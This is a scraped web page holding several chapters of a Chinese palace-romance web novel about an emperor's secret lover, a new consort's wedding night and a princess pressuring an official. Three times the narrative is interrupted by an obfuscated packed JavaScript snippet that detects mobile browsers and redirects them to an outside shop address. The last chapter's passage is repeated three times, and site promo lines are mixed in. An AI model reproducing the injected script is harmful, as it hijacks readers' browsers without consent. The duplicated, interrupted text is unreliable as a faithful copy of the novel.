笔锋落下,勾勒出的眉形,比宋静仪平日自己画的,要略微上扬,也稍显粗黑些,一扫往日那种楚楚可怜的娇弱感,平添了几分利落与隐约的英气。 妆成,宋静仪望向镜中,微微一怔。镜中少女,云鬓花颜,依旧是她熟悉的容貌,可那对经过修饰的眉毛,却仿佛点睛之笔,让整张脸的气质都发生了微妙的变化。少了几分闺阁女儿的纯然柔顺,多了些……她一时说不清,只觉得有几分莫名的熟悉感。 她凝神细看,蹙眉思索。这眉形……脑中忽然灵光一闪,一个清晰的面容浮现出来——昨日灯下,太后那张雍容华贵的脸庞! 宋静仪心中掠过一丝恍然,随即释然。想必是太后昨日说了那番关于“眉毛过于秀气”的话,身边的宫女们便记在了心上,今日特意为她改了妆扮,以期更合太后的眼缘。这般揣摩上意、精心伺候,倒也是为了她好,希望她能更得太后的欢心。 她对着镜子,轻轻抚了抚眉梢,心中并无太多波澜,只将梳妆宫女这份用心记下,坦然接受,还赏赐了她一样首饰。 这时另一名宫女端了托盘上来,轻声道:“四姑娘,这是太医院刚送来的七白饮,请您每日喝两次。这里是玉蓉膏,每晚要敷面一刻钟,不过月余,您的肌肤就会比现在白嫩许多。” 宋静仪接过七白饮一饮而尽,味道虽有些怪,可这是太后的心意,她必须得喝下。 这时另一位秀女张七姑娘有些艳羡道:“太后娘娘对你可真好……” 第255章 终非长久之计 苏辞在京城已盘桓了三个多月。初时借着旧日情分与生意往来,还能不时见到薛嘉言,或谈事,或小聚。可自金穗楼那日,薛嘉言将话挑明,薛嘉言直言拒绝后,两人便再未私下见过面。 这日,苏辞却再次登门,言明即将起程返回鞑靼,临行前有要紧事,需当面与薛嘉言一说。 薛嘉言听闻,略一沉吟,还是在花厅接待了他。 两人分宾主落座,司雨奉上清茶后便退至门外候着。 苏辞先开口,说的依旧是正事。 他详细告知了近期与鞑靼那边生意的进展,尤其重点提起了赫哲部拿山换粮的事情:“家父亲自去了一趟赫哲部,与那边的首领和长老们见了面。他们对拿山换取粮食、布匹的提议,有些兴趣。只是毕竟涉及部族根本利益还有些疑虑,不敢轻易决断。 苏辞侃侃而谈:“我与赫哲部小王子有些交情,此番回去我打算直奔赫哲部,亲自与他们详谈,把这件事敲定下来。 薛嘉言知道从做生意的角度而言,苏辞不知内情,这桩买卖并不划算,但他还是愿意尽力促成此事,不过是为了帮她而已。 薛嘉言心中感激,苏辞为人磊落,即便她已拒绝了他的情意,在正事上依旧尽心尽力。 她原本命司雨准备好了丰厚程仪,眼下却犹豫着要不要拿出来。 “苏大哥,多谢你…… 说完这件事,苏辞看着薛嘉言,目光依旧灼灼如炬。 “嘉嘉,他声音低沉了些,“我此番回去,一来一回,处理诸事,至少需要四个月的光景,才能再返京城。这四个月,说长不长,说短不短。 他停顿了一下,深深吸了口气,才又郑重说道:“嘉嘉,这四个月,请你……好好想清楚。京城这里,你没名没份终非长久之计,我也并非一时兴起。咱们认识这么多年,你应该知道的,我自小就是有成算的。等我再回来时,希望你已考虑好了。 花厅内很是安静,苏辞的目光紧紧锁住薛嘉言,不肯错过她脸上任何一丝细微的变化。这是他的一场豪赌。赌她在这四个月里,或许会改变主意。 薛嘉言垂着眼,长长的睫毛遮住了眸中翻涌的复杂情绪。她知道苏辞是真心为她好,她也向往自由自在,向往光明正大,可现在她还有更重的责任在身。 苏辞也没有逼她现在表态的意思,两人又说了一会生意上的事情,苏辞去同吕氏告别,然后便离开了京城。 这夜,吕氏将薛嘉言唤到自己房中,屏退了左右,母女二人对坐灯 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 下。 吕氏握着薛嘉言的手,终于将憋了许久的忧虑问出了口:“嘉嘉,宫里选秀的动静一天大过一天,满京城都在议论未来的皇后妃嫔。皇上……他可有对你提过,对你,他究竟是怎么个打算?” 她顿了顿,语气更添焦急与心疼:“难道他就让你这么一辈子躲躲藏藏,见不得光吗?你才多大年纪,往后的日子还长,总要有个名正言顺的着落啊。” 薛嘉言心中泛起一丝涩然,她垂眸,声音低柔:“娘,皇上说时机还未到,让我再等等。” 吕氏闻言,眉头并未舒展,反而拧得更紧。她顺着女儿的话说道:“如今这时候的确不是你进宫的时机,待孝期过了再想法子给你一个位份,倒也合乎情理。” 她嘴上说着“合乎情理”,眼中忧虑却丝毫未减:“可是嘉嘉,后宫一下子进了这么多贵女,皇帝他当真还能惦记着你?就算将来能进宫,那后宫是什么地方?娘只怕……只怕你应付不来,最后反受其害啊!” 说到激动处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198889|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吕氏眼中已盈了泪光。她忍不住说道:“嘉嘉,娘知道苏辞的心意。其实也不是不能考虑。跟着他,远走他乡,离开京城这是非之地,抛下这里所有的污糟烦难,去一个没人认识你们的地方,清清白白,堂堂正正地重新开始,过安生富足的日子,难道……不比在这要强吗?” 薛嘉言深吸一口气,抬起眼,迎上母亲殷切又痛惜的目光,不得不抛出她不得不说的理由:“娘,我走不了了。” 吕氏一怔:“为何?” 薛嘉言轻声道:“我的孩子在宫里,我怎么能离开京城呢。” “什么?”吕氏一时没反应过来,宁儿不是好端端地在府里,由乳母精心照料着吗? 薛嘉言缓缓道出实情:“宁儿……他并非我的亲生骨肉。我的儿子……我和皇上的儿子,早在满月后,便被皇上暗中接进宫去了。如今在宫里的皇长子阿满,才是您的亲外孙。” 这番话如同惊雷,炸响在吕氏耳边。她难以置信地瞪大眼睛,脸色瞬间苍白,嘴唇哆嗦着,好半晌才发出声音:“你……你说什么?!” 薛嘉言低声安抚道:“娘,您别急,皇上如此安排,也是为了给阿满一个出身……” 吕氏听着女儿平静的叙述,心中的震惊渐渐化为疼惜。她的女儿,究竟默默承受了多少?她流着泪,反反复复抚摸着薛嘉言的手,哽咽道:“我的儿……你受苦了……这么大的事,你竟一个人扛了这么久……” 吕氏当初不是没怀疑过,既然女儿同皇帝之间有了私情,那她腹中的孩子到底是戚少亭的,还是皇帝的。 可想到皇帝不可能是稀里糊涂到连孩子是谁都不知道的,他既然能让嘉嘉以戚家子的身份生下孩子,想来孩子就是戚少亭的,吕氏不想女儿难堪,便也没有追问。 她却没想到,原来事情竟是这样的。 第256章 只认你 待情绪稍平,吕氏抬起泪眼,望着女儿,心痛问道:“皇上心疼儿子,阿满的前程有了着落,娘知道你为他甘心付出一切。可是嘉嘉……你呢?你为你自己,想过吗? 薛嘉言被母亲这一问,沉默了。 为自己想过吗? 她是想过寻常夫妻的安稳平静,可对孩子们的责任,对姜玄的情感,她没办法割舍,已经深陷这漩涡里,没办法走出去了。 “娘,有的路一旦开始,就没办法回头了,只能往前走。 吕氏长长叹了一口气,倘若女儿与皇帝之间没有孩子,天长日久,皇帝对女儿的情分淡了,她再想换条路走也不是不行。可两人已经有了孩子,那此生注定要纠葛在一起了。 “罢了,娘想看看我的亲外孙,能看得到吗? 薛嘉言与姜玄约定好了,至少每个月会见一次阿满,一般都是在枫林苑。 “可以的,下次我见阿满的时候,带您一起去。 苏辞走后没两日,喧嚣了许久的宫中选秀,终于尘埃落定。然而,结果却出乎许多人的预料,在朝野内外引起了不小的波澜。 姜玄并未如众人猜测那般,在诸多家世显赫、才貌双全的秀女中,择定一位皇后,再选数位妃嫔以充实后宫。最终的中选名单上,竟只有一个名字——宋静仪。且并未直接册封为后,只是暂且封了“静妃的位份,赐居钟粹宫。 旨意一出,各种猜测纷至沓来。有人觉得这是皇帝对宋家独一无二的恩宠,毕竟只选了宋家女;也有人嗅到了一丝不寻常——既如此重视,为何不直接立后?这“暂且二字,又包含了多少变数? 长乐宫内,太后端坐在凤椅上,面沉如水。 “皇帝,哀家不明白,你这是何意?太后的声音不高,带着些冷意,“礼部、内务府筹备了这么久,各家适龄淑女翘首以盼,你就只选了静仪一人?还只是个妃位? 姜玄抬眸,神色间并无太多波澜,“母后,难道送进来多少秀女,朕就都必须照单全收吗?若实在不喜欢,难道母后还要逼着朕,硬将人塞进后宫不成? “你! 姜玄道:“母后言重了。这次不喜,过两年再选便是了,何必急于一时?他话锋一转,看向太后,“至于朕只选了静仪一人,难道不是对宋家独一无二的重视,难道还不够吗? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 太后盯着他,缓了缓语气,问道:“既然皇上如此重视宋家,如此中意静仪,为何不直接立她为后?难道皇上忘了当年之约?” 姜玄不疾不徐地答道:“母后,静仪年纪尚小,初入宫闱,需学习历练。此时若贸然立后,恐她难以胜任,反受其累。不如先以妃位入宫,由母后您亲自在身边多加教导、提点。待她在宫中站稳脚跟,熟悉诸事,日后为朕诞下皇子,于社稷有功,于皇家有功,那时再顺理成章地册立为后,岂不是更加名正言顺。” 太后沉默了半晌,方才缓缓开口:“皇帝既然这般说,哀家便也不再多言。只是,静仪入宫后,皇帝需得多加眷顾,莫要冷落了她,让她在宫中受了委屈。至于立后之事……便依皇帝所言,从长计议吧。” 姜玄起身,恭敬行礼:“儿臣谨遵母后教诲。静妃入宫后,一切还需母后多多费心教导。” 封妃的典礼紧锣密鼓地筹备着,宫里宫外都忙碌起来。 皇帝只选中了宋家四姑娘一人,早已传得沸沸扬扬,成了京城最热门的话题。 人们结合选秀期间皇帝对宋静仪那几次与众不同的对待,都觉得年轻的天子,对这位宋家四姑娘是动了真心,极为喜爱,才会如此破例,给予独一份的荣宠。 这些议论,如同长了翅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198890|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀,不可避免地飞入薛嘉言的耳朵里。 姜玄虽对她再三保证,选宋静仪只是权宜之计,他心中除了她薛嘉言绝无他人。可道理归道理,情感归情感。听着那些关于“帝妃情深”、“天作之合”的描绘,想象着即将到来的盛大典礼,以及典礼后名正言顺的宫廷生活,薛嘉言的心又岂能真的做到无动于衷? 封妃典礼的前一夜,夜色深沉,姜玄又一次悄然来到了戚家。 薛嘉言正在内室对着一盏孤灯出神,见他进来,心头那点憋了许久的酸涩委屈,混着不安,一下子冲了上来。她扭过身,不去看他,声音里带着浓浓醋意,赌气道:“你还来这里做什么?明日便是你的好日子,静妃娘娘正等着呢。你该回去好好准备,莫要……莫要在我这里耽误了时辰。” 姜玄看着她紧绷的背影和微微发抖的肩膀,心中又是怜惜又是愧疚。他走上前,从身后将她轻轻拥入怀中,低头想去吻她白皙的颈侧。 薛嘉言却猛地一挣,躲开了他的亲吻,气道:“别碰我!回去亲你的静妃便是!” 姜玄明白她这是醋狠了,非但不恼,反而更紧地箍住她,不让她挣脱,一手摸索着去解她腰间的衣带,滚烫的唇贴在她耳畔,声音低哑而急切:“胡说什么!你放心,我不会碰她的,我答应过你的,言言……” 他拉着她微凉的手,引着她一路往下,“它……只认你,只想要你。别的任何人,都不行。” 薛嘉言被他这粗野的情话惊得浑身一颤,脸颊瞬间烧红,想抽回手却被他牢牢按住。 她想信他,可理智又拉扯着让她不敢全然相信。然而,未及她多想,姜玄已将她打横抱起,走向内室的床榻。他用实际行动,极尽耐心与热情地,一遍遍安抚她、占有她、取悦她,将她所有的思绪都搅乱、揉碎,最终只能沉沦在他带来的浪潮里,暂时抛开了那些烦人的思虑。 第257章 这一夜 次日,风和日丽,碧空如洗,连风都带着春日的温煦。 吉时将至,太和殿前广场上,宗室亲贵、内外命妇,皆按品阶肃立,衣冠济楚。 在引礼女官与宫娥的簇拥下,宋静仪身着繁复精美的妃位吉服,缓步穿过长长的御道,向着太和殿丹墀走来。 那吉服以红锦为底,其上用金线绣绣制着栩栩如生的鸾鸟、祥云等纹样,珠宝点缀,极尽华美。头戴的七翟珠冠更是璀璨夺目,两侧垂下数串珍珠流苏,随着宋静仪的步伐轻轻摇曳。 精致的妆容恰到好处地勾勒出她的眉眼,在庄重华服的映衬与盛大典礼的庄严氛围笼罩下,她原本略显柔婉的气质,被赋予了另一种沉静端庄、仪态万方的气度。 在司礼太监抑扬顿挫的唱赞声中,宋静仪依循着皇家礼仪,一步步完成告天、受册、受宝等仪式。 观礼的人群中,低声的议论在宏大的礼乐间隙里,如同水面下的暗流,隐约可闻。不少人的视线在她与端坐于高台凤座之上、含笑注视的太后之间,来回逡巡比较。 有位年长的宗室夫人,眯着眼睛细细打量了许久,忍不住微微侧身,轻声对身旁同伴叹道:“瞧瞧这眉眼,这通身的气度……到底是太后娘娘的侄女,血脉相连,往那儿一站,还真有几分太后娘娘当年册封时的模样风韵。宋家,养出的女儿,就是不一样。 这话声音不大,却清晰地钻入周围几人的耳中。众人越看越觉得那抹身着红妆、立于丹陛之上的身影,与高台上那位风华绝代的太后,确有那么几分神似之处。 礼成,钟鼓再次齐鸣,声传九重。宋静仪在万众瞩目与心思各异的目光洗礼下,仪态完美地完成了所有典礼,正式受封为“静妃 是夜,钟粹宫。 红烛高照,将布置一新的寝殿映照得暖融明亮,处处透着喜庆。按照祖宗规矩,皇帝需在新晋妃嫔宫中度过这一夜。 姜玄处理完政务,方才踏着月色进了钟粹宫。 寝殿内,宋静仪早已褪去吉服,换上了一身质地柔软的常服,宽袍大袖,更显身姿纤弱。脸上薄薄施了一层脂粉,淡扫蛾眉,唇点朱色。 她端坐在梳妆台前,由一名宫女执着玉梳,为她梳理那一头如瀑布般倾泻而下的青丝。 铜镜打磨得光可鉴人,清晰地映出她姣好的侧脸,也映出不远处窗边圈椅里坐着的那道身影——姜玄穿着一身宽松的玄色常袍,手里拿着一卷书,正垂眸专注地看着,眉宇间似有些倦意,并无多少新婚之夜的热切,仿 听说看这本书的人都是很幸运的,分享后你的运气会更棒 佛只是换了个地方看书。 寝殿内燃着淡淡的百合香,气味清雅。宫女们动作极轻,连呼吸都放得小心翼翼,气氛安静得近乎凝滞,只有玉梳划过发丝的细微声响,和偶尔书页翻动的声响。 少顷,宋静仪的长发梳理顺滑,松松地绾了一个简单的发髻,只用一根素玉簪固定。她对镜自照片刻,挥了挥手,柔声道:“好了,你们都下去吧。皇上……要安歇了。 “是。宫女们齐声应道,动作迅捷而无声地收拾好东西,躬身依次退出,并细心地将殿门从外轻轻掩合。 偌大的寝殿内,顿时只剩下他们二人。红烛静静地燃烧着,偶尔爆出一个细微的灯花,映得满室光华流转,暖意融融。 宋静仪起身,走到姜玄面前约三步远的地方停下,规规矩矩地敛衽,屈膝行了一个标准的宫礼,声音依旧柔顺温婉:“夜深了,请皇上安寝。 姜玄“嗯了一声,这才像是从书卷中回过神来,缓缓放下手中的书,抬眼,目光平淡地扫过那张铺设着鲜艳锦被的床榻,又转下窗下那张罗汉床,低声道:“你去睡榻上。朕……睡那儿。 宋静仪闻言,温声劝道:“臣妾怎敢让皇上屈尊睡罗汉床?皇上明日还要早朝,理应安寝于…… “无妨。姜玄打断她,站起身来,随意活动了一下因久坐而有些僵硬的肩颈,语气淡然道:“朕从前在冷宫住着的时候,睡的床板,还不如这张罗汉床舒服。你去睡吧,不必顾忌朕。 说罢,姜玄不再看宋静仪,自顾自地走向那张罗汉床,和衣躺了下去,顺手拉过一床薄被盖在身上,然后便闭上了眼睛,摆出一副准备即刻入睡的姿态。 宋静仪看着皇帝如避蛇蝎的模样,唇瓣微微动了一下,但终究没再发出声音。她默默地转身,走到床榻边,掀开锦被躺了进去,伸手拉下了床帐,将自己隔绝在一个小小的空间里。 红烛依旧默默燃烧,偶尔噼啪轻响。寝殿内一片近乎诡异的寂静。两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198891|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人隔着一段不近的距离,各自安卧。 宋静仪今日累了,况且她与皇帝之间早有约定,也猜到了这一夜必定是平静的过,很快迷迷糊糊睡去。 姜玄似乎也睡着了,呼吸均匀绵长。但他的眼睛却是睁着的,他想起了薛嘉言,那个小醋坛子,今夜也不知道能不能睡得着。 这样的夜晚,薛嘉言的确辗转反侧。 明明昨夜,姜玄才那般急切而热烈地用身体和话语向她证明过,再三保证绝不会碰静妃。可只要一想到今夜他必须留宿钟粹宫,与静妃 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 同处一室,她的心就像被放在文火上细细地、反复地煎熬。各种杂乱不堪的念头不受控制地冒出来,描绘出她不愿想象的画面,让她心慌意乱,胸口窒闷,根本无法入睡。 后来实在烦躁闷得躺不住,她索性掀被起身,随手抓过一件外衫披上,走到窗边的书案前,点亮了灯烛,铺开纸,磨好墨,强迫自己将全部注意力转移到繁琐的生意上。 第二日一早,天方蒙蒙亮,东方仅露出一线鱼肚白。 专司记录后宫妃嫔侍寝事宜的女史和老嬷嬷,早早恭候在了钟粹宫的正殿之外。 皇帝已然起身,正闭目由宫女伺候着整理朝服的衣襟束带,静妃则坐在另一侧的妆台前,由人梳头,两人之间隔着数步距离,并无交流。 嬷嬷进殿后跪下行礼后,觑着皇帝的脸色,低声请示:“陛下万安,静妃娘娘安。老奴奉内廷之命,前来收取娘娘的喜帕,以便记录在册。” 正闭目养神的姜玄,闻言倏然睁开眼,眉头瞬间紧皱,脸上是毫不掩饰的厌烦与不耐,冷冷道:“谁耐烦用那种东西!滚出去!” 嬷嬷吓得浑身一抖,哪里还敢多问半个字,连忙磕头:“是!” 皇帝如此不耐的态度,女史和嬷嬷自然不敢再行追究喜帕到底有没有用、为何没有。她们只能交换眼神后统一口径:昨夜,帝妃定然已是成了好事。只是陛下年轻,不喜这些琐碎死板的规矩,又或是格外爱重静妃,不愿以此等私密之物示于外人罢了。 这个“默认”的结论,很快便随着她们的回禀,悄然在宫人间流传开去,无形中又为“静妃受宠”增添了一笔暧昧的佐证。 第258章 面子 这日,苗菁自宫中下值,策马往家去。 暮色四合,街市上灯火渐次亮起,他想起晨起出门时,晓芸笑盈盈地叮嘱:“今晚上做你最爱吃的话梅排骨,可得早些回来,凉了滋味就差了。”念及此,他唇角不自觉地弯了弯,一夹马腹,催着坐骑快了些。 行至离自家不远处的槐花巷,刚转过一个弯,有人拦路,苗菁赶紧勒住了马。 巷子尽头,静静停着一辆翠幄安车,车前悬挂的灯笼上,清晰映着一个“晖”字——正是长公主姜禔的车驾。车旁侍立着数名腰佩长剑、神色警惕的公主府侍卫,将本就狭窄的巷尾堵得严严实实。 拦住苗菁的侍卫,拱手行礼道:“苗大人,方才公主车驾行经附近,突遇不明匪人袭击,为安全计,不得已暂避于此。贼人虽已退去,但恐有余孽,为保公主万全,烦请苗大人拨冗,护送公主殿下回府。” 苗菁闻言,眉头几不可察地蹙了一下。 他并未下马,坐在马背上,居高临下地看着那侍卫头领,语气平淡道:“哦?竟有此事?京城治安何时松懈至此,连长公主凤驾都敢惊扰。看来是五城兵马司严重失职,本官少不得要去寻杨大人好生说道说道,彻查此事。” 说罢,他竟真的调转马头,一副立刻就要去找杨泰华问罪的架势。 “站住!” 安车内,一道清冷的女声倏然响起,不高,却带着不容违逆的威仪,穿透了暮色。 苗菁动作一顿,只得又勒马回身。 车帘被一只戴着碧玉镯的纤手从内撩开,露出长公主姜禔那张明艳的脸庞。她瞧着马上的苗菁,眸中似有寒星闪烁:“苗大人好大的官威。莫说确有人袭击,便是没有,本宫叫你护送一程,难道……你还不肯送么?” 这话已是将身份与命令摆在了明面上。苗菁心中暗叹,知道今日这“护送”是推脱不掉了。他翻身下马,朝着车驾方向规规矩矩地拱手行礼:“臣不敢。护送殿下回府,是臣分内之事。殿下,请。” 长公主放下车帘,未再言语。车夫甩动鞭子,安车缓缓启动。苗菁重新上马,保持着不远不近的距离,沉默地跟在车驾一侧,朝着位于城东的公主府行去。 此时正是晚归时分,街上行人不少。长公主的车驾规制特殊,极易辨认,更何况旁边还跟着一位身着常服却身姿挺拔、气度冷峻的年轻男子。 不少路人认出车驾,又看到苗菁,不免交头接耳,投来好奇、探究乃至暧昧的目光。苗菁目不斜视,面色沉静如水,仿佛周遭一切议论都 与他无关,只那握着缰绳的手,指节微微有些发白。 好在公主府距离此处确实不远,穿过两条长街,便到了那朱门高墙前。 车驾停在门外,苗菁也随之勒马。他再次下马,对着车厢方向拱手道:“殿下,公主府已到,臣……” “送佛送到西,既到了门口,便往里送送吧。”车帘未动,长公主的声音再次传出,打断了他的告辞,带着一种漫不经心,却又不容拒绝的意味,“本宫还有几句话,要同苗大人说。” 苗菁眉头几不可察地又蹙了一下,只得应道:“是。” 安车并未在正门久留,而是直接驶入了洞开的府门,穿过前庭,一直行至内院与外院交接的仪门处,方才停下。这里是内外之隔,寻常外男止步于此。 车停稳,随行的侍卫、车夫乃至侍女,都仿佛接到了无声的指令,迅速地、悄无声息地向四周退去,转眼间,仪门前便只剩下了这辆华贵的安车,以及孤身立在车旁的苗菁。 暮色更深,廊下的灯笼尚未全部点燃,此处显得格外幽静,甚至有些空旷得过分。 车帘终于被彻底掀开,长公主探身出来。她今日穿着杏子黄的宫装,外罩月白披风,发髻高绾,露出光洁的额头和优美的颈项。她仍坐着,目光落在几步外的苗菁身上,唇角勾起一抹意味不明的笑。 “过来。”她朝苗菁勾了勾手指,语气是命令式的。 苗菁忍着心中不耐,上前两步,在距离车辕尚有数尺处停下,垂首:“殿下有何吩咐?” 长公主看着他这副恭敬却疏离的模样,眼底掠过一丝不悦,随即又化为某种更复杂的情绪。她微微抬起下巴,声音压低了些,带着一丝虚弱与理所当然:“方才躲避袭击时,本宫不慎扭伤了脚踝,此刻疼痛难忍,不良于行。苗大人,劳烦你……抱本宫入内。” 苗菁心头猛地一沉,几乎没有任何犹豫,立刻后退半步,斩钉截铁地拒绝:“殿下!此举不可!男女授受不亲,何况殿下万金之躯,臣岂敢僭越冒犯?还请殿下唤侍女前来搀扶,或容臣去唤软轿。” 长公主轻笑出声,环视了一圈空无一人的四周,目光又落回苗菁紧绷的脸上,语气带着几分嘲弄,几分诱惑,“苗大人也看见了,这里……哪还有什么‘外人’?谁会知道?你放心,我这公主府的消息,若是本宫不想,便一个字也传不到外头去。” 她斜睨了苗菁一眼,挑眉道:“还是说……苗大人不肯?” 仪门前,晚风穿过廊柱,带来一丝凉意。两人一个挺拔僵立,一个坐在车内,姿态从容,却形成无声的对峙。四周静得可怕,只有远处隐约传来的市井声,愈发衬得此处气氛凝滞而微妙。苗菁垂在身侧的手,悄然握成了拳。 苗菁下颌的线条绷得极紧,克制着翻涌的情绪,声音低沉而清晰:“殿下乃大兖皇族金枝玉叶,应恪守礼法,为天下女子表率。臣,不敢僭越。殿下既玉体不适,臣这便去唤府中嬷嬷或侍女前来搀扶。” “站住!”长公主的声音陡然拔高,带着不怒意和羞恼,“本宫偏要让你抱!” 她气急,忍不住扶着门框站了起来,“苗菁,你该不会以为,皇兄器重你,能连这点小事都驳了本宫的面子,纵着你不敬我这个长公主吧?” 与他无关,只那握着缰绳的手,指节微微有些发白。 好在公主府距离此处确实不远,穿过两条长街,便到了那朱门高墙前。 车驾停在门外,苗菁也随之勒马。他再次下马,对着车厢方向拱手道:“殿下,公主府已到,臣……” “送佛送到西,既到了门口,便往里送送吧。”车帘未动,长公主的声音再次传出,打断了他的告辞,带着一种漫不经心,却又不容拒绝的意味,“本宫还有几句话,要同苗大人说。” 苗菁眉头几不可察地又蹙了一下,只得应道:“是。” 安车并未在正门久留,而是直接驶入了洞开的府门,穿过前庭,一直行至内院与外院交接的仪门处,方才停下。这里是内外之隔,寻常外男止步于此。 车停稳,随行的侍卫、车夫乃至侍女,都仿佛接到了无声的指令,迅速地、悄无声息地向四周退去,转眼间,仪门前便只剩下了这辆华贵的安车,以及孤身立在车旁的苗菁。 暮色更深,廊下的灯笼尚未全部点燃,此处显得格外幽静,甚至有些空旷得过分。 车帘终于被彻底掀开,长公主探身出来。她今日穿着杏子黄的宫装,外罩月白披风,发髻高绾,露出光洁的额头和优美的颈项。她仍坐着,目光落在几步外的苗菁身上,唇角勾起一抹意味不明的笑。 “过来。”她朝苗菁勾了勾手指,语气是命令式的。 苗菁忍着心中不耐,上前两步,在距离车辕尚有数尺处停下,垂首:“殿下有何吩咐?” 长公主看着他这副恭敬却疏离的模样,眼底掠过一丝不悦,随即又化为某种更复杂的情绪。她微微抬起下巴,声音压低了些,带着一丝虚弱与理所当然:“方才躲避袭击时,本宫不慎扭伤了脚踝,此刻疼痛难忍,不良于行。苗大人,劳烦你……抱本宫入内。” 苗菁心头猛地一沉,几乎没有任何犹豫,立刻后退半步,斩钉截铁地拒绝:“殿下!此举不可!男女授受不亲,何况殿下万金之躯,臣岂敢僭越冒犯?还请殿下唤侍女前来搀扶,或容臣去唤软轿。” 长公主轻笑出声,环视了一圈空无一人的四周,目光又落回苗菁紧绷的脸上,语气带着几分嘲弄,几分诱惑,“苗大人也看见了,这里……哪还有什么‘外人’?谁会知道?你放心,我这公主府的消息,若是本宫不想,便一个字也传不到外头去。” 她斜睨了苗菁一眼,挑眉道:“还是说……苗大人不肯?” 仪门前,晚风穿过廊柱,带来一丝凉意。两人一个挺拔僵立,一个坐在车内,姿态从容,却形成无声的对峙。四周静得可怕,只有远处隐约传来的市井声,愈发衬得此处气氛凝滞而微妙。苗菁垂在身侧的手,悄然握成了拳。 苗菁下颌的线条绷得极紧,克制着翻涌的情绪,声音低沉而清晰:“殿下乃大兖皇族金枝玉叶,应恪守礼法,为天下女子表率。臣,不敢僭越。殿下既玉体不适,臣这便去唤府中嬷嬷或侍女前来搀扶。” “站住!”长公主的声音陡然拔高,带着不怒意和羞恼,“本宫偏要让你抱!” 她气急,忍不住扶着门框站了起来,“苗菁,你该不会以为,皇兄器重你,能连这点小事都驳了本宫的面子,纵着你不敬我这个长公主吧?” 与他无关,只那握着缰绳的手,指节微微有些发白。 好在公主府距离此处确实不远,穿过两条长街,便到了那朱门高墙前。 车驾停在门外,苗菁也随之勒马。他再次下马,对着车厢方向拱手道:“殿下,公主府已到,臣……” “送佛送到西,既到了门口,便往里送送吧。”车帘未动,长公主的声音再次传出,打断了他的告辞,带着一种漫不经心,却又不容拒绝的意味,“本宫还有几句话,要同苗大人说。” 苗菁眉头几不可察地又蹙了一下,只得应道:“是。” 安车并未在正门久留,而是直接驶入了洞开的府门,穿过前庭,一直行至内院与外院交接的仪门处,方才停下。这里是内外之隔,寻常外男止步于此。 车停稳,随行的侍卫、车夫乃至侍女,都仿佛接到了无声的指令,迅速地、悄无声息地向四周退去,转眼间,仪门前便只剩下了这辆华贵的安车,以及孤身立在车旁的苗菁。 暮色更深,廊下的灯笼尚未全部点燃,此处显得格外幽静,甚至有些空旷得过分。 车帘终于被彻底掀开,长公主探身出来。她今日穿着杏子黄的宫装,外罩月白披风,发髻高绾,露出光洁的额头和优美的颈项。她仍坐着,目光落在几步外的苗菁身上,唇角勾起一抹意味不明的笑。 “过来。”她朝苗菁勾了勾手指,语气是命令式的。 苗菁忍着心中不耐,上前两步,在距离车辕尚有数尺处停下,垂首:“殿下有何吩咐?” 长公主看着他这副恭敬却疏离的模样,眼底掠过一丝不悦,随即又化为某种更复杂的情绪。她微微抬起下巴,声音压低了些,带着一丝虚弱与理所当然:“方才躲避袭击时,本宫不慎扭伤了脚踝,此刻疼痛难忍,不良于行。苗大人,劳烦你……抱本宫入内。” 苗菁心头猛地一沉,几乎没有任何犹豫,立刻后退半步,斩钉截铁地拒绝:“殿下!此举不可!男女授受不亲,何况殿下万金之躯,臣岂敢僭越冒犯?还请殿下唤侍女前来搀扶,或容臣去唤软轿。” 长公主轻笑出声,环视了一圈空无一人的四周,目光又落回苗菁紧绷的脸上,语气带着几分嘲弄,几分诱惑,“苗大人也看见了,这里……哪还有什么‘外人’?谁会知道?你放心,我这公主府的消息,若是本宫不想,便一个字也传不到外头去。” 她斜睨了苗菁一眼,挑眉道:“还是说……苗大人不肯?” 仪门前,晚风穿过廊柱,带来一丝凉意。两人一个挺拔僵立,一个坐在车内,姿态从容,却形成无声的对峙。四周静得可怕,只有远处隐约传来的市井声,愈发衬得此处气氛凝滞而微妙。苗菁垂在身侧的手,悄然握成了拳。 苗菁下颌的线条绷得极紧,克制着翻涌的情绪,声音低沉而清晰:“殿下乃大兖皇族金枝玉叶,应恪守礼法,为天下女子表率。臣,不敢僭越。殿下既玉体不适,臣这便去唤府中嬷嬷或侍女前来搀扶。” “站住!”长公主的声音陡然拔高,带着不怒意和羞恼,“本宫偏要让你抱!” 